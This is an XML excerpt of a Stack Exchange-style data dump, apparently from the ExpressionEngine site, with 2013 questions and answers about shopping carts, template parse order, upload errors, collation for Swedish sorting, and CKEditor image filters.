  <row Id="9021" PostTypeId="1" CreationDate="2013-04-05T00:15:11.267" Score="1" ViewCount="176" Body="&lt;p&gt;I have used Expresso Store for all my carts to date, and have no experience in any other EE cart solutions, nor have I done a multi currency site before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see in Expresso's documentation that they potentially have Multiple Currency in development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone out there delivered a shopping cart using Expression Engine which handled Multiple Currencies well along with shipping options/calculator for Australia?&lt;/p&gt;&#xA;" OwnerUserId="1280" LastActivityDate="2013-04-05T00:39:23.823" Title="Selling Products world wide from Australia + Accepting Multiple Currency" Tags="|expresso-store|cartthrob|shipping|shopping-cart|currency|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9022" PostTypeId="2" ParentId="9021" CreationDate="2013-04-05T00:39:23.823" Score="1" Body="&lt;p&gt;Store currently only supports charging cards in a single currency per site which you set in the Store &gt; Settings &gt; General tab in the CP. Lets say that you have it set to USD and your customer is from England and therefor is paying with British Pounds. The payment gateway will convert the currency so that you collect the correct amount in USD.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-04-05T00:39:23.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9023" PostTypeId="1" CreationDate="2013-04-05T01:07:20.097" Score="2" ViewCount="37" Body="&lt;p&gt;We have a legacy system slowly getting migrated to full EE. We call an SSI include from within one of the files used by both systems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, EE doesn't respect the SSI include and just shows a blank area where our content should be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm looking at either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Duplicating the include file and changing the SSI include to an EE include, or&lt;/li&gt;&#xA;&lt;li&gt;Creating a script to bake the include content into our file before it gets called by either system.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The first just duplicates any work we have to do to our menu, the second seems like overkill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if anyone else has any suggestions? I feel like I'm missing something obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1284" LastActivityDate="2013-04-05T05:09:14.250" Title="Get EE to respect SSI include" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9024" PostTypeId="1" AcceptedAnswerId="9028" CreationDate="2013-04-05T01:12:17.153" Score="2" ViewCount="101" Body="&lt;p&gt;I know I have come across this before but the solution is escaping me. I have a template and a channel lets call it widgets. If I go to the URL /widgets/ I want it to show all the entries of channel=&quot;widget&quot; no problem. Now if i have a url of widgets/a-black-widget then I want to show just the specific info for just a-black-widget. Again no problem. The issue happens when I want to redirect someone who enters a url of /widgets/nonesensevalue meaning an entry that doesnt exist. HEre is my code. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2==&quot;&quot;}&#xA;  {exp:channel:entries channel=&quot;{segment_1}&quot; limit=&quot;8&quot;}&#xA;    &amp;lt;!--Code showing article list--&amp;gt;&#xA;  {/exp:channel:entries}&#xA;{/if}&#xA;{if segment_2!=&quot;&quot;}&#xA;  {exp:channel:entries channel=&quot;{segment_1}&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;    {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;    &amp;lt;!--Code that shows individual article--&amp;gt;&#xA;  {/exp:channel:entries}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is even when you go to /widgets the redirect fires. If I recall correctly this is because even though the conditional if segment 2 is not empty is untrue the parser still goes the channel entries tag anyway and as soon as it hits the redirect it fire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is how would you implement a 404 for this example.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2013-04-05T03:12:52.783" Title="Parse Order and Redirect=" Tags="|parse-order|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9025" PostTypeId="2" ParentId="9016" CreationDate="2013-04-05T01:15:42.870" Score="1" Body="&lt;p&gt;If you are simply displaying the archive with a single template and dynamically displaying category headings, etc.?  As long as the category name is unique (even across category groups, this is necessary unless you plan to use the category ID in the URL) you can use the category url title.  You wind up having to do something similar with your entries loop - piping both channel names info the channel parameter.  You may need some conditionals within your loop to handle any differences between what custom fields are within each field group (assuming for the moment that they don't share a field group) - for that I'd recommend using &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;ifelse&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-05T01:15:42.870" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9026" PostTypeId="1" CreationDate="2013-04-05T02:49:21.807" Score="5" ViewCount="1821" Body="&lt;p&gt;I'm getting the following error when trying to upload images on all of the upload directories. The directories are set to 777.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;Thumbnail could not be created for the image. Please make sure the thumbnail directory is writable.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create a new upload directory I get the same error but it's able to create the _thumbs folder.&lt;/p&gt;&#xA;" OwnerUserId="407" LastActivityDate="2013-04-05T02:55:56.470" Title="Thumbnail could not be created for the image. Please make sure the thumbnail directory is writable." Tags="|file-uploads|thumbnails|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9027" PostTypeId="2" ParentId="9026" CreationDate="2013-04-05T02:55:56.470" Score="4" Body="&lt;p&gt;Are you 100% sure your Paths are correct in the file upload preferences?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check them at... CP Home &gt; File Manager &gt; File Upload Preferences &gt; Edit File Upload Preferences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure to check who is the &quot;owner&quot; of the folder, it should be the same user that &quot;runs&quot; the php/apache.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-04-05T02:55:56.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9028" PostTypeId="2" ParentId="9024" CreationDate="2013-04-05T03:12:52.783" Score="1" Body="&lt;p&gt;I'd look to use &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt; rather then &lt;code&gt;{if}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}&quot;}&#xA;  {case value=&quot;&quot;}{!-- Nothing is segment_2 --}&#xA;    {exp:channel:entries channel=&quot;{segment_1}&quot; limit=&quot;8&quot;}&#xA;      &amp;lt;!--Code showing article list--&amp;gt;&#xA;    {/exp:channel:entries}&#xA;  {/case}&#xA;&#xA;  {case default=&quot;yes&quot;}{!-- Assume there is something in segment_2 --}&#xA;    {exp:channel:entries channel=&quot;{segment_1}&quot; limit=&quot;1&quot; require_entry=&quot;yes&quot;}&#xA;      {if switchee_no_results}{redirect=&quot;404&quot;}{/if}  &#xA;      &amp;lt;!--Code that shows individual article--&amp;gt;&#xA;    {/exp:channel:entries}&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is all untested and not to be interpreted as a literal answer – more a guide ;)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-04-05T03:12:52.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9029" PostTypeId="2" ParentId="9023" CreationDate="2013-04-05T05:09:14.250" Score="1" Body="&lt;p&gt;I would think a line or two of PHP in your EE template (make sure to turn on PHP within) will allow you to include the file.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-04-05T05:09:14.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9030" PostTypeId="2" ParentId="9008" CreationDate="2013-04-05T05:11:52.060" Score="1" Body="&lt;p&gt;I would start by looking at the Matrix add-on. This may help solve your problem. &#xA;&lt;a href=&quot;http://pixelandtonic.com/matrix&quot; rel=&quot;nofollow&quot;&gt;Matrix&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-04-05T05:11:52.060" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9031" PostTypeId="1" CreationDate="2013-04-05T07:03:00.343" Score="1" ViewCount="231" Body="&lt;p&gt;I am using CartThrob for e-commerce part and Zoo Visitor for managing members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We know that with the CartThrob checkout form, new member registration is being done. Its working fine in my case and member has been created but no member entry is being created in Zoo Visitor channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope, someone faced such a problem and can share some pointer to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-05T10:19:46.397" Title="Member registration in Zoo Visitor with CartThrob checkout form" Tags="|cartthrob|zoo-visitor|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9032" PostTypeId="1" AcceptedAnswerId="9045" CreationDate="2013-04-05T07:48:25.197" Score="11" ViewCount="2051" Body="&lt;p&gt;Is it possible to stop WYGWAM from putting dimensions on images as inline styles. We want the images to be responsive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any advice.&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="313" LastEditDate="2013-04-05T07:54:30.283" LastActivityDate="2017-06-02T21:25:39.430" Title="Stopping WYGWAM from assigning dimensions to images" Tags="|ee2|wygwam|twitter-bootstrap|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9033" PostTypeId="1" CreationDate="2013-04-05T08:02:09.723" Score="1" ViewCount="212" Body="&lt;p&gt;I display a list of entries using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;orderby=&quot;title&quot;&#xA;sort=&quot;asc&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But titles starting with the Swedish character &quot;Å&quot; and &quot;Ä&quot; is sorted before &quot;A&quot; - and it should be last in the list. Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... X Y Z Å Ä Ö&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way (hack?) to solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards, Magnus&lt;/p&gt;&#xA;" OwnerUserId="1123" LastActivityDate="2013-04-05T08:19:51.357" Title="How to order titles with non-english characters?" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9034" PostTypeId="2" ParentId="9033" CreationDate="2013-04-05T08:15:03.800" Score="3" Body="&lt;p&gt;Risking tooting my own horn here, but &lt;a href=&quot;http://gotolow.com/addons/low-alphabet&quot; rel=&quot;nofollow&quot;&gt;Low Alphabet&lt;/a&gt; will let you generate alphabetical lists and will ignore diacritics. If you don't want to use an add-on, you probably need to resort to PHP in your template.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-04-05T08:15:03.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9035" PostTypeId="2" ParentId="9033" CreationDate="2013-04-05T08:19:51.357" Score="2" Body="&lt;p&gt;In my experience (working with Norwegian characters) you need to set the MySQL collation to &quot;utf8_danish_ci&quot;. Admittedly counter-intuitive when working with Swedish content, but if it works...&lt;/p&gt;&#xA;" OwnerUserId="1272" LastActivityDate="2013-04-05T08:19:51.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9036" PostTypeId="2" ParentId="9032" CreationDate="2013-04-05T08:55:11.697" Score="0" Body="&lt;p&gt;I don't think it's possible to do in WYGWAM itself. But you can use the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/basics&quot; rel=&quot;nofollow&quot;&gt;CE Image bulk tag&lt;/a&gt; and/or &lt;a href=&quot;http://devot-ee.com/add-ons/ez-image-resize&quot; rel=&quot;nofollow&quot;&gt;EZ Image Resize&lt;/a&gt; to fix this in your templates. And you have the added benefit of being able to set a maximum width/height to save filesize.&lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2013-04-05T08:55:11.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9037" PostTypeId="2" ParentId="9014" CreationDate="2013-04-05T09:06:36.490" Score="1" Body="&lt;p&gt;The password reset link in the email should already have the code in it (it is stored in a segment variable which is passed to your password reset template).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: If the email sent still includes the default link to the standard EE reset password page, it is probably because you didn't specify which template your custom reset page is on with the reset parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:forgot_password return=&quot;account/forgot_sent&quot; reset=&quot;account/reset&quot;}&#xA;    &amp;lt;!-- forgot password template --&amp;gt;&#xA;{/exp:freemember:forgot_password}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Docs: &lt;a href=&quot;https://github.com/expressodev/freemember/blob/master/docs/forgot_password_tag.md#reset&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/freemember/blob/master/docs/forgot_password_tag.md#reset&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-04-06T02:54:18.350" LastActivityDate="2013-04-06T02:54:18.350" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9038" PostTypeId="2" ParentId="9020" CreationDate="2013-04-05T09:10:45.070" Score="1" Body="&lt;p&gt;The Australia Post plugin should correctly calculate international shipping rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the plugin doesn't have many options available (e.g. different parcel/priority types), so you will need to place some test orders to ensure it's calculating shipping rates which actually reflect your costs.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-05T09:10:45.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9039" PostTypeId="1" AcceptedAnswerId="9077" CreationDate="2013-04-05T10:04:08.197" Score="0" ViewCount="440" Body="&lt;p&gt;I just found out that the value of my coupon is without tax.&#xA;Just like all the products in the store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, i've sold the coupon code including tax, so there's something not quite right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I let customers redeem a coupon code after taxes have been calculated?&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-04-06T07:52:43.437" Title="Exp-resso store: coupon code including VAT" Tags="|expresso-store|coupon-code|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9040" PostTypeId="1" CreationDate="2013-04-05T10:04:17.230" Score="2" ViewCount="210" Body="&lt;p&gt;I let users upload images via safecracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process is very standard:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User submit form (fields: name, email, selected file from users HD)&lt;/li&gt;&#xA;&lt;li&gt;Safecracker uploads the file into the appropriate directory&lt;/li&gt;&#xA;&lt;li&gt;Safecracker adds an entry to the submit channel in the database&lt;/li&gt;&#xA;&lt;li&gt;The users gets redirected to the submit/thanks page&lt;/li&gt;&#xA;&lt;li&gt;I get a mail announcing the upload&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My problem: This only works for files with a certain size.&#xA;I can confirm, that it is fine for files with the size 840kb and that files with more than 2577kb will not work. Somewhere in between will be the breakpoint, which I haven´t figured out yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the big files EE will just do point 2.&#xA;The file upload will be fine, but the redirect won´t work. &#xA;The submit-page will turn blank, as if the browser attempts to redirect, but can´t get the thanks-page to load.&#xA;3 and 5 aren´t executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think, I found the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Out of memory (allocated 49020928) (tried to allocate 4000 bytes)&#xA;in www/frogcroc.com/www/system/codeigniter/system/libraries/Image_lib.php on &#xA;line 1246&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume, that I get this error, because my memory limit on the server is exhausted (shared hosting). I assume, that EE tries to make one of those &quot;internal&quot; thumbnails that are needed for watching the entry in the CP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to know: Are my assumptions right?&#xA;If yes, what are my options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can ask my provider to give me more memory. Question: For how much should I ask, and what kind of memory is it, the PHP image memory? What are the technical terms to describe what I want?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Preferred method:&lt;/strong&gt; Let the users upload all images, how big they might be, but avoid the memory issue, by not invoking the thumbnail routine. I don´t need to see the picture in the CP entry. I´m fine to just get the file name. Preferrably as part of the mail.&#xA;How can I change the file-fieldtype in the channel &quot;submit&quot;, that shows the thumbnal into a text field, that just shows me the filename?&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2013-04-05T11:01:31.397" LastActivityDate="2013-05-09T19:17:08.293" Title="image file upload with safecracker error, when file becomes too big" Tags="|ee2|safecracker|file-uploads|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9041" PostTypeId="2" ParentId="9031" CreationDate="2013-04-05T10:19:46.397" Score="1" Body="&lt;p&gt;I'm not sure how good integration is for the two at this point but I think you still need to submit via hidden input fields for Zoo Visitor within the Cartthrob checkout. If you're using a two-step checkout process it's easier because you can have one page for the member fields submitted as a Zoo Visitor entry and then the other page for Billing/Shipping fields etc for Cartthrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't fit into your workflow then you could always use AJAX form submission to post and fill in hidden fields on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does your current code look like?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-05T10:19:46.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9042" PostTypeId="2" ParentId="9040" CreationDate="2013-04-05T10:32:55.677" Score="0" Body="&lt;p&gt;It sounds like a limit on upload size so I'd check this first. In the control panel go to Tools &gt; Utilities &gt; PHP Info. Search for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;post_max_size&lt;/li&gt;&#xA;&lt;li&gt;upload_max_filesize&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What are those set to?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-05T10:32:55.677" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9043" PostTypeId="1" AcceptedAnswerId="9065" CreationDate="2013-04-05T10:56:07.207" Score="5" ViewCount="1483" Body="&lt;p&gt;I'm sure I've read somewhere how to do this but I am not able to find it at the moment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Postmaster installed, and I am using that to send various emails based on entry creations and status changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all works great, and I have a customised template (with inline css) to produce a nice looking email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to customise the system messages, (i.e new member regs, activation links etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is the Email Notification Templates under the Design&gt;Message Pages option, and these templates produce plain text simple emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to customise these? Ive read on the Postmaster docs that you can use postmaster for this purpose, but I have been unable to find any more info, or documentation other than to say it can be done.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-04-15T02:13:11.927" Title="Customise system email templates?" Tags="|email|postmaster|system-messages|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9045" PostTypeId="2" ParentId="9032" CreationDate="2013-04-05T13:03:41.820" Score="19" Body="&lt;p&gt;You need to create a custom config file for CKEditor that redefines how HTML is generated for images. Create a JavaScript file called something like 'ckeditor_config.js' and then set Wygwam to use it. You can do this by adding an advanced setting to your Wygwam editor configuration. Add the 'customConfig' setting and enter the path to the JavaScript file you just created. It will look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/javascripts/ckeditor_config.js&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter the following code into the config file. The code is from the &lt;a href=&quot;https://stackoverflow.com/questions/2051896/ckeditor-prevent-adding-image-dimensions-as-a-css-style&quot;&gt;CKEDITOR - prevent adding image dimensions as a css style&lt;/a&gt; question on Stackoverflow. I've modified it slightly, so that the dimensions aren't added as attributes on the image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CKEDITOR.on('instanceReady', function (ev) {&#xA;ev.editor.dataProcessor.htmlFilter.addRules(&#xA;    {&#xA;        elements:&#xA;        {&#xA;            $: function (element) {&#xA;                // Remove width and height style rules from images&#xA;                if (element.name == 'img') {&#xA;                    var style = element.attributes.style;&#xA;&#xA;                    if (style) {&#xA;                        // Get the width from the style.&#xA;                        var match = /(?:^|\s)width\s*:\s*(\d+)px/i.exec(style),&#xA;                            width = match &amp;amp;&amp;amp; match[1];&#xA;&#xA;                        // Get the height from the style.&#xA;                        match = /(?:^|\s)height\s*:\s*(\d+)px/i.exec(style);&#xA;                        var height = match &amp;amp;&amp;amp; match[1];&#xA;&#xA;                        if (width) {&#xA;                            element.attributes.style = element.attributes.style.replace(/(?:^|\s)width\s*:\s*(\d+)px;?/i, '');&#xA;                        }&#xA;&#xA;                        if (height) {&#xA;                            element.attributes.style = element.attributes.style.replace(/(?:^|\s)height\s*:\s*(\d+)px;?/i, '');&#xA;                        }&#xA;                    }&#xA;                }&#xA;&#xA;                if (!element.attributes.style)&#xA;                    delete element.attributes.style;&#xA;&#xA;                return element;&#xA;            }&#xA;        }&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="975" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-04-05T13:03:41.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9046" PostTypeId="1" AcceptedAnswerId="9048" CreationDate="2013-04-05T14:27:19.497" Score="0" ViewCount="148" Body="&lt;p&gt;I am trying to use the wildcard for my {if} statement. Where I could have P12,P24,P36,48, etc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_4 !=&quot;&quot; &amp;amp;&amp;amp; segment_4 !=&quot;P*&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But The wildcard is not working for me, does the queries need to be turned on or something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help in advance.&lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2013-04-05T15:50:48.477" Title="What is the Wildcard for expression engine?" Tags="|ifelse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9047" PostTypeId="1" CreationDate="2013-04-05T14:56:56.103" Score="0" ViewCount="4668" Body="&lt;p&gt;I have been receiving a error message randomly on a expressionEngine site I created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see teh errror message here &lt;a href=&quot;http://cl.ly/image/2w1a061e0i0d&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/2w1a061e0i0d&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what could cause this error? I am running ee v2.5.3&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2015-08-05T18:02:44.167" Title="Unable to load site preferences - Error Message" Tags="|error|" AnswerCount="3" CommentCount="0" ClosedDate="2016-08-04T21:29:14.067" ContentLicense="CC BY-SA 3.0" />
  <row Id="9048" PostTypeId="2" ParentId="9046" CreationDate="2013-04-05T15:02:09.427" Score="3" Body="&lt;p&gt;There are no wildcards in EE. You're probably looking for something like &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt;, where you can use regular expression matching, or &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo Variables&lt;/a&gt;, which gives you &lt;code&gt;{if paginated}&lt;/code&gt;, which could help here.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-04-05T15:02:09.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9049" PostTypeId="2" ParentId="9032" CreationDate="2013-04-05T15:13:32.430" Score="2" Body="&lt;p&gt;For responsive websites, I generally have had better luck defining separate fields for images. It gives you better control than letting people include images and other media directly in WYSIWYG fields, especially with RWD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back to your question, I believe it can be done relatively easily at the CK Editor level, not in Wygwam. Here is a &lt;a href=&quot;https://stackoverflow.com/a/6056896/1796281&quot;&gt;post on stackexchange&lt;/a&gt; you can inspire yourself from. Basically you have to use &lt;a href=&quot;http://docs.cksource.com/CKEditor_3.x/Developers_Guide/Data_Processor&quot; rel=&quot;nofollow noreferrer&quot;&gt;CK Editor's Data Processor&lt;/a&gt; and HTML Parser filters. Just a bit of Javascript to write. Not really complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Seeing what Dylan posted, you could also just remove the style attribute altogether, if all you need is a bare img tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    CKEDITOR.on('instanceReady', function (ev) {&#xA;ev.editor.dataProcessor.htmlFilter.addRules(&#xA;    {&#xA;        elements:&#xA;        {&#xA;            $: function (element) {&#xA;                // Remove style attribute from images&#xA;                if (element.name == 'img') {&#xA;                    delete element.attributes.style;&#xA;                }&#xA;&#xA;                return element;&#xA;            }&#xA;        }&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-04-08T09:10:16.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9051" PostTypeId="2" ParentId="9047" CreationDate="2013-04-05T15:45:22.453" Score="0" Body="&lt;p&gt;That could point to a problem with your config.php file. Check that both your config.php and database.php files have 666 permissions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system/expressionengine/config/config.php&#xA;system/expressionengine/config/database.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also check that your details in database.php are all correct as it may be having problems connecting to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they're both OK then the chances are that there's some problems with the database. At this point in your main index.php file turn on output debugging so we can see any PHP errors being reported by changing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$debug = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$debug = 1; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2014-01-24T10:02:22.437" LastActivityDate="2014-01-24T10:02:22.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9052" PostTypeId="2" ParentId="9046" CreationDate="2013-04-05T15:50:48.477" Score="1" Body="&lt;p&gt;You could also use &lt;a href=&quot;http://devot-ee.com/add-ons/segment-search&quot; rel=&quot;nofollow&quot;&gt;Segment Search&lt;/a&gt; which is another free addon and allows more control of segment searching. This should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:segment_search keyword=&quot;/P\d+/&quot; segments=&quot;4&quot; regex=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-05T15:50:48.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9053" PostTypeId="2" ParentId="9043" CreationDate="2013-04-05T15:58:33.683" Score="0" Body="&lt;p&gt;They can be found in the control panel: Design &gt; Message Pages &gt; Email Notifications. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to save these speciality templates as files though I'd highly recommend &lt;a href=&quot;http://devot-ee.com/add-ons/libraree&quot; rel=&quot;nofollow&quot;&gt;Libraree&lt;/a&gt;. It will save not only speciality templates but also email templates, global variables and snippets as files to be run through version control. They can also be parsed as regular template files meaning more control and the ability to include any other tags for greater customisation.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-05T15:58:33.683" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
